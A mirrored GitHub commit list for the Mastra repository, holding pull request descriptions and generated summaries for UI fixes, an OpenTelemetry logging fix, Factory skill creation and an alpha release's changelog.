0
Fork 0
mirror of https://github.com/mastra-ai/mastra.git synced 2026-11-17 08:44:46 +00:00

Compare commits

..

239 commits

Author SHA1 Message Date
mastra-platform[bot]
30852ab5fe
docs(client-js): align retry docs with the write default (#30435)
Co-authored-by: sdivyanshu90 <97019230+sdivyanshu90@users.noreply.github.com>
2026-11-17 09:22:33 +01:00
mastra-platform[bot]
657d2e2127
docs: clarify DurableAgent.abortThreadStream returns false while still forwarding the abort (#30439) 2026-11-17 09:01:13 +01:00
mastra-platform[bot]
cf6f1b0459
docs(otel): sort vendors alphabetically on OpenTelemetry integration page (#30670) 2026-11-17 08:58:25 +01:00
mastra-platform[bot]
3ff2824bd4
fix(factory-ui): show notification summaries as a readable inline line (#30662)
> Opened by @damien-schneider

## Description

When pending notifications are rolled into a summary, Factory chat
showed them as a row labeled "Notification summary" followed by the raw
summary text, e.g. `factory-session: 1`. The row also used the padded,
caption-sized activity style. It sat between inline signal lines like
"Factory sessions snapshot", so it looked out of place and read like
debug output.

The summary now renders like those inline lines and is built from the
structured fields every summary carries (`pending`, `bySource`,
`byPriority`):

- **Label and count:** "Notifications" followed by "1 new" / "4 new".
- **Sources:** one badge per source. With a single source it shows just
the name (`Factory session`). With several, each badge has its count
(`GitHub 3`, `My webhook 1`).
- **Source names:** a small map gives readable names for known sources
(`factory-session`, `github`, `gitlab`, `linear`, `jira`, `slack`). Any
other source shows its id in sentence case (`my-webhook` → "My
webhook"), so new sources need no code change.
- **Priority:** the bell is tinted only when something high or urgent is
pending.
- **Fallback:** a summary with no counts shows its original text.

The change is limited to `NotificationSummaryCard` in factory-ui. The
shared `NotificationActivity` component and individual notification rows
are unchanged.

## Test plan

- `TranscriptNotifications.msw.test.tsx` covers a single Factory session
summary (no raw `factory-session: 1` text), several sources including an
unmapped one, and the fallback with no counts.
- `pnpm typecheck`, oxlint and prettier pass on factory-ui.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: When many alerts are waiting, the app used to show a plain block
of raw text. Now it shows one short line that says how many are new and
where they came from.

## Summary

This PR changes how `NotificationSummaryCard` renders notification
summaries in factory-ui. The card now shows an inline activity line
instead of a padded row with raw summary text.

### Changes

**`TranscriptNotifications.tsx`** (+47/-2)

- Replaces the `NotificationActivity` call in `NotificationSummaryCard`
with an `Activity` line. The line contains a bell icon, a
"Notifications" label, and a status label.
- Shows `"<pending> new"` when `pending > 0` and at least one source has
a count above zero. Otherwise, shows `entry.message`.
- Adds one `Badge` per source with a positive count. With one source,
the badge shows the source name. With several sources, the badge shows
the name and count, for example `GitHub 3`.
- Tints the bell only when `byPriority` has an `urgent` or `high` count
above zero.
- Adds a `NOTIFICATION_SOURCE_NAMES` map for `factory-session`,
`github`, `gitlab`, `linear`, `jira`, and `slack`.
- Adds exported `notificationSourceName(source: string): string`. It
returns the mapped name for a known source. For an unknown source, it
replaces `-` and `_` with spaces and applies sentence case. An empty ID
is returned unchanged.
- Adds an own-key check when it looks up source names. IDs such as
`__proto__` do not match inherited object properties. These IDs use the
sentence-case fallback, so the component does not render an invalid
React child.
- Imports the `Activity`, `ActivityHeader`, `ActivityIcon`, and
`ActivityLabel` primitives and `Badge`.

**`TranscriptNotifications.msw.test.tsx`** (+67/-9)

- Replaces the test that checked for the summary under its own label.
- Adds a test for one pending `factory-session` notification. It checks
for `Notifications`, `1 new`, and `Factory session`. It checks that the
raw `factory-session: 1` text and any button are absent.
- Adds a test for multiple sources, including an unnamed source. It
checks the total and the per-source counts.
- Adds a test for a summary with no counts. It checks that the summary
message is shown.
- Adds a test that a source named `__proto__` displays as `Proto`.

### Scope

- The shared `NotificationActivity` component is not changed by this
diff.
- Individual notification rows are not changed by this diff.
- The diff touches only these two files under `mastracode/factory-ui/`.

### Verification

- The PR author reports that `pnpm typecheck`, oxlint, and prettier pass
on factory-ui. These results were not re-run for this summary.
- The new tests exist in the diff. Their pass or fail status was not
checked.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 23:52:44 -08:00
mastra-platform[bot]
4985b71a20
fix(playground-ui): run CodeDiff lines flush under the file header (#30668)
> Opened by @damien-schneider

## What

When the Factory changes panel stacks file diffs, a blank band shows
below each file's last line and above the next file's first line.
`@pierre/diffs` adds 8px of padding above the code, and by default it
always keeps room for a horizontal scrollbar under it. The design
system's `CodeDiff` places that code on the card fill, so both show up
as empty strips.

When a `CodeDiff` has a file header, it now sets a `data-header`
attribute. A matching rule in `code-diff.css`, next to the other
`--diffs-*` overrides, sets two of pierre's variables. pierre doesn't
set these itself, so the values reach the diff's shadow DOM:

- `--diffs-gap-block: 0px`: no padding above the first line or below the
last, and the "N unmodified lines" separators between hunks sit flush
too.
- `--diffs-overflow-override: auto`: the horizontal scrollbar only takes
room when lines overflow. Platforms with overlay scrollbars, like macOS,
reserve no room for it.

A `CodeDiff` without a header keeps its padding. That case is the
standalone diff in the observation detail view.

## Test plan

- [x] `vitest run src/ds/components/CodeDiff`: 6/6 pass
- [x] `oxlint` and `prettier --check` pass on the changed files
- [x] Storybook `Elements/CodeDiff` in Chromium with real scrollbars.
File list: 0px top and bottom padding and no scrollbar strip, where
before there was 8px of padding plus a 15px strip under every file. A
multi-hunk diff with overflowing lines: flush lines and separators, with
a scrollbar only on the diff that overflows. A diff without a header
keeps its 8px padding.
- [ ] Full `tsc` for `playground-ui` didn't finish in the sandbox. The
TSX change only adds a `data-header` attribute.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When a code diff has a file name bar on top, the diff used to have
empty gaps. This change removes the gap under the bar. It also makes the
horizontal scrollbar appear only when the code is too wide.

## Summary

This change adjusts `CodeDiff` layout when a file header is present. The
outer container gets a `data-header` attribute. A CSS rule for that
attribute sets the block gap to `0px` and sets overflow to `auto`. Diffs
without a header are unchanged. A patch changeset for
`@mastra/playground-ui` documents the change.

## Changes

- `packages/playground-ui/src/ds/components/CodeDiff/code-diff.tsx`
(+5/-1): The root `div` sets `data-header` to an empty string when
`header` is provided. It sets the attribute to `undefined` otherwise.
The `ref` and class names are unchanged.
- `packages/playground-ui/src/ds/components/CodeDiff/code-diff.css`
(+7): Adds a comment and a `.code-diff[data-header]` rule. The rule sets
`--diffs-gap-block: 0px` and `--diffs-overflow-override: auto`.
- `.changeset/flush-diff-lines.md` (+5): Adds a patch entry for
`@mastra/playground-ui`. It states that headered diffs have no blank
band above the first line or below the last. It also states that the
horizontal scrollbar takes space only when lines overflow.

## Notes

- The diff does not set `padding-block: 0`, `scrollbar-width: thin`, or
any shadow-root selector. The PR objectives describe these, but the diff
does not contain them. This summary follows the diff.
- No exported or public declarations changed.
- Totals: 3 files changed, 17 lines added, 1 line removed.
- The PR objectives report that `vitest run src/ds/components/CodeDiff`
passed (6/6) and that `oxlint` and `prettier --check` passed. They also
report that full `tsc` did not finish. These results come from the PR
description. They were not re-run here.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 23:51:12 -08:00
Eric Pinzur
135aa65c3c
fix(otel-bridge): deliver logs in apps on OpenTelemetry JS SDK 3 (#30546)
## Description

In an app on OpenTelemetry JS SDK 3, `OtelBridge` dropped every Mastra
log without an error. Spans were fine.

The bridge only looked for the app's global `LoggerProvider` in
`@opentelemetry/api-logs`. SDK 3 apps register theirs through `logs`
from `@opentelemetry/api` (1.10 and later), and the two registries don't
see each other, so the bridge got a no-op proxy.

The bridge now checks both registries on each log and each flush and
uses whichever holds a registered provider. SDK 2 apps keep working,
including when `@opentelemetry/api` 1.10 is installed next to SDK 2. A
provider registered after `new OtelBridge()` is picked up too. When
nothing is registered anywhere, the bridge says so once at debug level,
so a missing registration can be told apart from a bug.

```ts
// SDK 3 app
import { logs } from '@opentelemetry/api';
logs.setGlobalLoggerProvider(loggerProvider);

new OtelBridge(); // before: logs dropped. after: logs reach loggerProvider
```

Passing `new OtelBridge({ loggerProvider })` behaves as before.

The four new tests fail with the fix reverted. I also ran the built
bridge against the published `@opentelemetry/sdk-logs` 3.1.0 and
`@opentelemetry/api` 1.10.0 in a scratch project, and the log arrived
whether the provider was registered before or after the bridge was
constructed.

This does not move the package to SDK 3. That is tracked in #29696.

## Related issue(s)

Fixes #29695

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

---
_Generated by [Claude
Code](https://claude.ai/code/session_018e9kMajbtR6UM1nrfYpvGa)_

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Mastra sends its logs through the app's OpenTelemetry setup.
On newer OpenTelemetry versions, the app registers its log sender in a
different place. Mastra looked only in the old place, so it lost every
log. This PR makes Mastra look in both places.

## Summary

This PR fixes `@mastra/otel-bridge` so it drops no logs in apps that use
OpenTelemetry JS SDK 3. The bridge now finds the global `LoggerProvider`
in either registry:

- `logs` from `@opentelemetry/api`, used by SDK 3 apps.
- `logs` from `@opentelemetry/api-logs`, used by SDK 2 apps.

### Changes

- **`observability/otel-bridge/src/bridge.ts`**
- Adds `globalLogsApis()`. It reads `logs` from the `@opentelemetry/api`
namespace object, not as a named import. This keeps the module linkable
on `@opentelemetry/api` versions below 1.10, which do not export `logs`.
The `api-logs` registry is always checked too.
- Adds `getGlobalLoggerProvider()`. It returns the first provider that
is not an unregistered proxy. It also returns whether a provider was
registered. The proxy check tests for a `_setDelegate` function.
- Adds `resolveLogger()`. When no `loggerProvider` is passed in config,
it re-reads the global provider on each log emit. This picks up
providers registered after the bridge is constructed. If the provider
changes, it rebuilds the logger.
- When no provider is registered, `resolveLogger()` writes one debug
message. The message is written once per bridge instance. It explains
how to register a provider or pass one to `new OtelBridge({
loggerProvider })`.
- `flush()` uses the same global lookup for the logger provider when no
`loggerProvider` is passed in config.
  - The constructor uses the same lookup for its initial logger.
- An explicit `loggerProvider` in config is unchanged. It is never
re-resolved.
- **`.changeset/quiet-logs-arrive.md`**: adds a patch changeset for
`@mastra/otel-bridge`.
- **`observability/otel-bridge/src/bridge.test.ts`**: adds tests. They
cover a provider registered through `@opentelemetry/api`, with
registration before and after bridge construction. They also cover
flushing that provider and the single debug message when no provider is
registered. The author reports that four new tests fail with the fix
reverted.

### Scope

- Only log delivery changes. Span handling is not changed.
- The package stays on the SDK 2 line. The move to SDK 3 is tracked
separately in `#29696`.
- The author reports a scratch-project check with
`@opentelemetry/sdk-logs` 3.1.0 and `@opentelemetry/api` 1.10.0. In that
check, the log arrived whether registration happened before or after
bridge construction. This check was not run in CI as part of this
review.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Claude <noreply@anthropic.com>
2026-11-17 12:52:26 +05:30
mastra-platform[bot]
c2fc2fca28
fix(factory): open the card's session from posted card links (#30666)
> Opened by @damien-schneider

## Summary

Factory card links that agents post (Slack replies, GitHub comments,
tool results like `factory_create_work_item` /
`factory_transition_work_item` / `factory_list_work_items`) opened the
board with `?item=<id>`. The UI treats that as a highlight on the board
list, so people landed on the list and had to find and click the card
again to reach its session.

`factoryWorkItemUrl()` now builds `/factories/<id>/cards/<workItemId>`.
That's the route a board click already uses: it redirects to the session
the card shows (the current phase's context, otherwise the most recently
visited one), or to a draft that starts one if the card has no session
yet. The `board` argument is gone because the card route resolves the
board on its own.

In-app board highlights (`?item=` from the attention list) stay as they
are.

## Test plan

- `mastracode/factory`: `links.test.ts`, `read-tools.test.ts`,
`work-item-tools.test.ts` updated to expect `/cards/<id>`. All 67 pass,
and `tsc --noEmit` is clean.
- `mastracode/factory-ui`: added a `CardDraftPage` MSW test showing that
`/cards/<id>` on a card with triage and work sessions, sitting in
Building, redirects to the work session's thread. The file's 12 tests
pass.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When an agent posts a link to a work card, the link now opens that
card's work session. Before, it opened the board list. Readers now go
straight to the work they need.

## Summary

Posted card links now use the card route. `factoryWorkItemUrl()` returns
`/factories/<id>/cards/<workItemId>`. It no longer returns a board URL
with an `?item=<id>` query parameter.

The card route resolves the board, so the `board` input is removed from
`factoryWorkItemUrl()`. Its signature changes from `{ factoryProjectId,
board, workItemId }` to `{ factoryProjectId, workItemId }`.

The card route behaves as follows:
- It redirects to the session for the card's current phase when one
exists.
- If not, it redirects to the most recently visited session.
- If the card has no sessions, it opens a draft that starts a session.

### Changes by area

- **Link generation (`mastracode/factory/src/links.ts`):** Builds card
links from the project and work item IDs. The work item ID is
URL-encoded. The documentation describes the new routing.
- **Callers (`read-tools.ts`, `work-item-tools.ts`):** Stop passing the
board key to `factoryWorkItemUrl()`. Board-based stage validation and
transitions still use the work item's board.
- **Tests (`links.test.ts`, `read-tools.test.ts`,
`work-item-tools.test.ts`):** Expect `/cards/<id>` URLs. The
no-public-URL case expects `undefined`.
- **UI test
(`mastracode/factory-ui/src/ui/pages/__tests__/CardDraftPage.msw.test.tsx`):**
Adds a test. A card with `triage` and `work` sessions in the `execute`
stage redirects to the thread for the `work` session.
- **Changeset (`.changeset/card-links-open-session.md`):** Declares a
patch release for `@mastra/factory`.

Board highlights in the in-app attention list are unchanged.

### Scope

8 files changed, 47 lines added, 21 lines removed.

### Test status

The PR author reports these results. This summary does not verify them
against completed CI checks on the current head:
- `mastracode/factory`: 67 tests pass in the updated files. `tsc
--noEmit` is clean.
- `mastracode/factory-ui`: 12 tests in `CardDraftPage.msw.test.tsx`
pass.

### API impact

`factoryWorkItemUrl()` has a breaking signature change for direct
callers. The `board` input is removed. The changeset is a patch release.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 23:08:59 -08:00
Damien Schneider
ec3fd034e5
feat(factory): let org admins create skills for one Factory (#30647)
## Description

Factory could edit the skills an app already ships (#29042), but it
couldn't create new ones. Settings › Skills now has a **New skill**
button. An org admin enters a name, description and instructions, and
the skill belongs to that one Factory. No redeploy is needed. Agents
load it from their next session, and a board phase can run it as
`runner.skill`. Created skills show a **Custom** badge and can be edited
or deleted from the same dialog.

What changed:

- **Storage:**
- `factory_skill_overrides` gets an additive `kind` column (`edit` |
`created`). It defaults to `edit`, so existing rows keep working. I
checked that an existing Postgres table upgrades in place.
- `create()` and `updateCreated()` run under the existing revision-row
lock. A second create of a name returns null, and so does a save that
lands after a delete, so a late save doesn't bring the skill back.
- **Sessions:**
- Created skills come from the snapshot each workspace already loads for
edits, so there is no new query on the session path.
- `FactorySkillSource` serves a created skill when no code, folder or
built-in skill has a `SKILL.md` under that name. It also reserves the
name, so a repository skill with the same name stays hidden.
- A folder or file the app left behind under the name doesn't hide a
created skill.
  - Edits whose original skill was removed stay hidden, as before.
- **API:**
- `POST /web/factory/projects/:id/skills` with `{ name, content }`
creates a skill. It returns 409 `skill_exists` when an app skill or
another created skill already uses the name.
- `PUT /web/factory/projects/:id/skills/:name` updates a created skill,
and `DELETE` on the same path deletes one, returning `{ skill: null }`.
- Responses are built from the row that was written, not from a reread.
- Admins only. New audit actions: `factory.skill.created` and
`factory.skill.deleted`.
- **Boards:**
- Board validation and board problems count the project's created
skills, so a phase can run one.
- The board cache rechecks when the project's skill revision moves. If
the names can't be read, the boards still load, flag the skill as
missing, and aren't cached.
- A board *write* that can't read the names fails with the storage error
instead of `unknown_skill`.
- `upsertBoard()` checks each project listed in `projects`. A board for
`'all'` projects may only run app skills.
- **CLI:** new `mastra api factory skill create`. Route metadata is
regenerated.
- **UI:**
- New skill dialog, which reuses `SkillSimpleForm` with an editable name
and checks the name format client-side. The name is quoted in the
SKILL.md it writes, so names like `123` work.
  - **Custom** badge on the Skills page and the phase page.
  - **Delete** with an inline confirmation.

If an app later ships a skill with the same name, the app's skill takes
over the name and the Factory's text becomes an edit of it. It keeps
applying, the editor shows "original changed", and **Revert to
original** switches to the app's skill. Nothing is lost.

One review suggestion is deliberately not applied. CodeRabbit suggested
wiring the board cache's skill reader even when the `skill-overrides`
domain isn't ready at boot. Sessions get skill edits under the same
boot-time readiness check (`factory.ts`, where the workspace factory is
built). Changing only boards would let a board accept a skill that
sessions can't load, so both keep that check.

⚠️ **Before release:** `factory.skill.created` and
`factory.skill.deleted` must be registered in the WorkOS dashboard
(Audit Logs → Events), like the edit actions were.

## Related issue(s)

None. Follow-up to #29042 (skill edits) and #28823 (custom board
skills).

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Test plan

All new tests use real storage and real routes, with no mocked storage.
I checked that each fix's test fails without that fix.

- **Storage (LibSQL and Postgres):**
  - create once per name, including under concurrency
  - `updateCreated` refuses after a delete, and never touches edits
  - an orphaned edit gives way to a created skill
  - an existing table upgrades in place
- **Routes:**
  - create, update and delete, each with its audit event
  - 409 for app-skill and duplicate names
  - 400 for an invalid SKILL.md or name
  - 403 for non-admins, and 404 for another org's project
  - an all-digit name works
- responses stay correct when another admin deletes the skill
mid-request
  - a created skill becomes an edit once the app ships the same name
- **Sessions:**
- the creating project's sessions load the skill, and another project's
don't
  - a delete reaches new and reused workspaces
  - a repository skill with the same name is hidden
  - a leftover folder or stray file doesn't hide the created skill
- **Boards and `upsertBoard()`:**
- a phase running a created skill is accepted, and flagged missing after
a delete
  - a names read that fails once recovers on the next load
  - a write fails with the storage error
  - named projects are each checked, and `'all'` stays app-only
- **UI (MSW):**
- create sends the expected SKILL.md (quoted name) and shows **Custom**
- an invalid name keeps Create disabled, and a 409 message shows in the
dialog
  - non-admins get no button
  - delete asks for confirmation
- **Results:**
- `@mastra/factory`: `check` and `lint` pass, and 32 focused test files
(920 tests) pass.
- `factory-ui`: `typecheck`, `test:unit` and the skills and board-config
MSW tests pass.
  - CLI descriptor test passes.
  - Not tried in a running Factory in a browser yet.

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01VhgyDSnuLvveDjDQduz1fT

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: Organization admins can now create a new skill for one Factory
project without a new app release. Sessions and board phases can then
use that skill. Admins can also edit or delete it.

## Overview

This change adds Factory-scoped skills. Admins create them in the UI or
the CLI. A created skill belongs to one Factory project. Admins can edit
and delete it. The skill works in sessions, board phases, and board
validation.

## Storage

- `SkillOverridesStorage` adds a `kind` field to each record. Valid
values are `edit` and `created`. The database default is `edit`.
- `upsert` accepts an optional `kind`. The default is `edit`.
- The new `create` method stores a created skill with an empty
`baseHash`. If a created skill with the same name exists, `create`
returns `null` and does not change the revision. Otherwise, it replaces
any existing row and increments the project revision in one transaction.
- `updateCreated` saves changes only to an existing created skill.
Otherwise, it returns `null`.
- The audit `skill` action list adds `created` and `deleted`.

## Catalog and sessions

- `FactorySkillInfo.origin` adds the value `project`. It adds optional
`created` metadata with `updatedBy` and `updatedAt`.
- `listFactorySkills` includes created overrides whose names do not
match an original skill. It sorts the combined list by name.
- A name that matches an original skill appears as an edit to that
original skill.
- The new `projectSkillNamesOf` adapter returns the storage revision and
the created-skill names for a board scope.
- `workspace.ts` adds an optional `created` flag to
`FactorySkillOverride`. Created skills appear as directories that
contain `SKILL.md`. Created skill names are excluded from repository
skills.

## Boards

- `ProjectBoardCache` accepts a `projectSkills` provider. It stores the
skill revision with each board check. It rechecks board skill problems
when the revision changes.
- If reading project skill names fails, the cache logs one warning per
project. It compiles with an empty set. It records an unreadable
revision so the next load retries.
- `findBoardSkillProblems` accepts a `projectSkills` set. A runner skill
that matches a project skill name counts as found.
- `BoardWrites.validate` accepts an optional `projectSkills` set. Board
create, replace, and validate paths pass it.
- `MastraFactory.upsertBoard` checks each named project against that
project's skill names. A board for `'all'` projects can use only app
skills.
- `factory.ts` supplies the resolver only when the `skill-overrides`
storage domain is ready.

## API

- The new `skillCreate` route is `POST
/web/factory/projects/:id/skills`. Its body schema checks the name and
content.
- The create handler returns `409` when the name matches an original
skill or when storage reports a conflict. Otherwise, it returns `201`
with the catalog entry.
- Edit works for a skill that has an original or an existing override of
kind `created`.
- Revert of a created skill deletes it, audits `factory.skill.deleted`,
and returns `skill: null`.

## CLI

- `mastra api factory skill create` uses the `skillCreate` route and
requires JSON input.
- The `update` and `revert` descriptions now cover project-created
skills.

## Factory UI

- `FactorySkillsSection` shows a **New skill** button when `factoryId`
is set and `canEdit` is true. It shows a **Custom** badge for
`project`-origin skills. `PhaseConfig` shows the same badge.
- `FactorySkillEditorDialog` supports create and edit. Its `skill` prop
is optional. Names allow lowercase letters and digits separated by
single hyphens, up to 64 characters. The description must be nonempty
after trimming.
- For project-origin skills, the dialog offers delete with confirmation.
Confirming calls the edit mutation with `content: null`.
- `useFactorySkillCreateMutation` is added. The edit and create
mutations invalidate the skills and board catalog queries.

## Notes

- If an app later ships a skill with the same name, the app skill takes
over the name. The Factory text remains as an edit. Reverting it removes
the Factory text.
- `factory.skill.created` and `factory.skill.deleted` must be registered
in WorkOS before release. The PR objectives state this requirement. The
diff does not verify it.

## Test coverage

- Storage tests cover create, the duplicate case, kind preservation on
upsert, replacement of an edit, and six concurrent creates that yield
one result.
- Route tests cover creation and audit records, edit and delete of
created skills, conflicts, invalid content, permission checks, and
app-skill takeover.
- Workspace tests cover session visibility, reuse, other projects, and
deletion.
- Board tests cover unknown-skill refusal and recovery after creation or
deletion.
- UI MSW tests cover creation, invalid names, duplicate-name errors,
admin-only access, and confirmed deletion.
- The PR author reports these results. This review did not verify them
against the current head:
  - `@mastra/factory` `check` and `lint` pass.
  - Focused suites pass across 32 files and 911 tests.
  - `factory-ui` `typecheck` and `test:unit` pass (776 tests).
  - The CLI descriptor test passes.

## Review metrics

- Files changed: 28. Lines added: 1447. Lines removed: 163.
- Review findings: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-11-16 23:08:01 -08:00
dane-ai-mastra[bot]
f346f6c4af
chore: version packages (alpha) (#30660)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases
## @mastra/core@1.84.0-alpha.6

### Minor Changes

- Knowledge storage can supply scope declarations, access rules
included. ([#29428](https://github.com/mastra-ai/mastra/pull/29428))

A store returns declarations from `getScopeDeclarations()` (none by
default). Knowledge merges them under its config's: the config wins on a
key both declare, and a declaration that doesn't compile is skipped with
a warning. When stored scopes come from a skipped declaration, the
declaration check's error names that declaration and why it was skipped,
so it can be fixed in the store. The store's answer is reused for 30
seconds and read again after `renameScopeDeclaration`, so a declaration
the store adds, removes or changes (access rules included) applies
within that window without a store read on every call. Revoking access
through the store can therefore take up to 30 seconds to take effect.

  ```ts
  class ImportingKnowledgeStorage extends InMemoryKnowledgeStorage {
    override async getScopeDeclarations() {
      return {
        'imports:$name': {},
'linear:$account:$connection': { access: [{ principal: 'imports:all',
role: 'viewer' }] },
      };
    }
  }
  ```

Runs that hold `imports:all` then read every Linear connection's pages.
## @mastra/platform@0.1.0-alpha.1

### Minor Changes

- Added `PlatformBrowser`, a Stagehand browser backed by a Mastra
Platform browser session. By default it provisions a session with `POST
/v1/browsers/sessions` on the Platform and connects to the returned CDP
URL; pass `cdpUrl` to connect to a session you already provisioned, with
no token or API call. The access token falls back to
`MASTRA_PLATFORM_ACCESS_TOKEN` / `MASTRA_PLATFORM_SECRET_KEY`, the
project to `MASTRA_PROJECT_ID`, and the API URL to
`MASTRA_BROWSER_API_URL`. `@mastra/platform` now depends on
`@mastra/stagehand` at runtime.
([#29428](https://github.com/mastra-ai/mastra/pull/29428))

  ```ts
  import { PlatformBrowser } from '@mastra/platform';

const agent = new Agent({ name: 'browser-agent', model, browser: new
PlatformBrowser() });
  ```

- Added `@mastra/platform`: hosted Mastra Platform Memory and Knowledge
clients, with Platform Sandbox and Filesystem re-exported from
`@mastra/platform-workspace`. `PlatformMemory` is a drop-in `memory` for
`Agent` that loads observations and recent messages from a Platform
Memory instance and saves each turn back; observation and reflection run
on the Platform. `PlatformMemoryClient` exposes the same API directly.
Credentials fall back to `MASTRA_PLATFORM_ACCESS_TOKEN` /
`MASTRA_PLATFORM_SECRET_KEY`. `PlatformMemory` uses
`MASTRA_MEMORY_INSTANCE_ID`; `PlatformKnowledge` uses
`MASTRA_KNOWLEDGE_INSTANCE_ID`. `PlatformKnowledge` takes every scope
declaration and access rule from its instance, Memory's and Platform
importers' included, and has no `scopes` option. Agents read imported
pages when their runs hold the scope an importer's rule grants (for now
`imports:all`).
([#29428](https://github.com/mastra-ai/mastra/pull/29428))

  ```ts
import { PlatformMemory, PlatformKnowledge, PlatformSandbox,
PlatformFilesystem } from '@mastra/platform';

const agent = new Agent({ name: 'assistant', model, memory: new
PlatformMemory() });
  ```

### Patch Changes

- `PlatformKnowledge` now supports listing pins: `knowledge_pin` with
`kind: 'list'` pins a page's listing on hosted Knowledge instead of
refusing it as an old storage adapter.
([#29428](https://github.com/mastra-ai/mastra/pull/29428))

- `PlatformMemory` fixes for read-only runs and working memory:
([#29428](https://github.com/mastra-ai/mastra/pull/29428))

- A read-only run (`memory: { options: { readOnly: true } }`) now sees
the thread's observations and unobserved messages, read through the
Memory instance's read-only context route. Before, it got no stored
context at all. It still saves nothing and starts no observation.
- The `workingMemory` option now delivers what it says: `readonly` and
`tool` add the resource's stored working memory to each run's prompt,
read fresh each run; `tool` also tells the agent to update it with
`updateWorkingMemory`; `off` leaves it out. Before, stored working
memory never reached the prompt in any mode.

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6

See [release notes](https://github.com/mastra-ai/mastra/releases) for
published changes.
## @mastra/client-js@1.60.1-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
## @mastra/react@1.15.1-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/client-js@1.60.1-alpha.6
## @mastra/deployer-cloud@1.84.0-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/deployer@1.84.0-alpha.6
## @mastra/longmemeval@1.1.43-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
## @mastra/opencode@0.1.43-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
## @mastra/factory@0.29.0-alpha.7

### Patch Changes

- The **Activity** sort in the Factory sidebar now orders sessions that
share a status by their last update instead of their creation date, the
same as **Last updated** does. An older session that was updated since
no longer sinks below a newer one that was left alone.
([#30656](https://github.com/mastra-ai/mastra/pull/30656))

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/code-sdk@1.19.1-alpha.7
## create-factory@0.5.0-alpha.6

### Patch Changes

- Updated dependencies
[[`bfcb0f7`](bfcb0f738d),
[`383a19d`](383a19d047)]:
  - mastra@1.40.0-alpha.6
## @mastra/code-sdk@1.19.1-alpha.7

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/client-js@1.60.1-alpha.6
## mastracode@0.50.1-alpha.7

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/code-sdk@1.19.1-alpha.7
## mastra@1.40.0-alpha.6

### Patch Changes

- The Factory sidebar now groups sessions by board and shows a second
line under each session by default, with when it last changed and its
pull request. Turn on **Compact view** or set **Group** to **None** in
the sidebar's properties menu to get one line per session or a single
list back. Settings you already changed keep their values; the rest
follow the new defaults.
([#30656](https://github.com/mastra-ai/mastra/pull/30656))

- Factory **Settings** now shows theme and completion sound on **My
account**, next to your profile and log out, instead of on a separate
**Preferences** page. Settings opens on **My account**, and old
Preferences links go there.
([#30658](https://github.com/mastra-ai/mastra/pull/30658))

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
